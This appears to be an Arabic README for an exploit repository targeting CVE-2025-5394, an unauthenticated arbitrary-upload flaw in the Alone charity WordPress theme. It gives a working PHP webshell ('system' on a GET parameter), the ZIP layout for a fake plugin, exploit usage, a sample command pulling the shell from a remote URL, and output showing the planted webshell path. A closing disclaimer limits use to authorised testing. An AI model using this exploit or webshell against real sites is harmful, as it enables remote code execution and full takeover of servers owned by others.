
Alone – قالب ووردبريس خيري متعدد الأغراض غير ربحي <= 7.8.3 - ثغرة غياب التفويض تسمح برفع ملفات عشوائية دون مصادقة عبر تثبيت الإضافات
Alone – Charity Multipurpose Non-profit WordPress Theme
الإصدارات: <= 7.8.3
CVE: CVE-2025-5394
درجة CVSS: 9.8 (حرجة)
قالب Alone لـ WordPress معرّض لخطر رفع الملفات التعسّفي بسبب نقص فحص الصلاحيات في الدالة alone_import_pack_install_plugin().
يسمح هذا الخلل للمهاجمين بدون مصادقة برفع ملفات ZIP (متنكّرة في صورة إضافات) من مواقع بعيدة، مما قد يتيح تحقيق تنفيذ كود عن بُعد.
يحتوي هذا المستودع على سكربت بايثون يعمل على أتمتة استغلال CVE-2025-5394.
يُطلق السكربت إجراء AJAX المعرّض للخطر ويرفع إضافة مزيفة (تحتوي على ويب شل) مباشرةً إلى خادم WordPress.
يجب أن يتبع ملف ZIP المُرفع هذا الهيكل:
shell_plugin.zip
└── shell_plugin
└── shell_plugin.php
حيث:
shell_plugin هو مجلد الإضافة.shell_plugin.php هو ملف إضافة PHP صالح ويحتوي على ترويسة إضافة.مثال على ترويسة إضافة بسيطة داخل shell_plugin.php:
<?php
/*
Plugin Name: Webshell
*/
system($_GET['cmd']);
?>
python3 CVE-2025-5394.py -help
usage: CVE-2025-5394.py [-h] -u URL -s SHELL
CVE-2025-5394 Exploit | by Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-s, --shell SHELL ZIP file URL containing webshell (.zip)
python3 CVE-2025-5394.py -u http://target.com/wordpress/ -s http://target.com/shell_plugin.zip
[>] Target : http://target.com/wordpress
[>] Shell URL : http://target.com/shell.php
[>] Plugin Slug : shell_plugin
[>] Sending exploit...
[+] Exploit successful
[+] Webshell URL : http://target.com/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php
هذا السكربت مُقدَّم لأغراض تعليمية وبحثية فقط.
المؤلف غير مسؤول عن أي إساءة استخدام أو نشاط غير قانوني يتم عبر هذا الكود.
استخدمه فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.
Nxploited ( Khaled Alenazi )
GitHub: https://github.com/Nxploited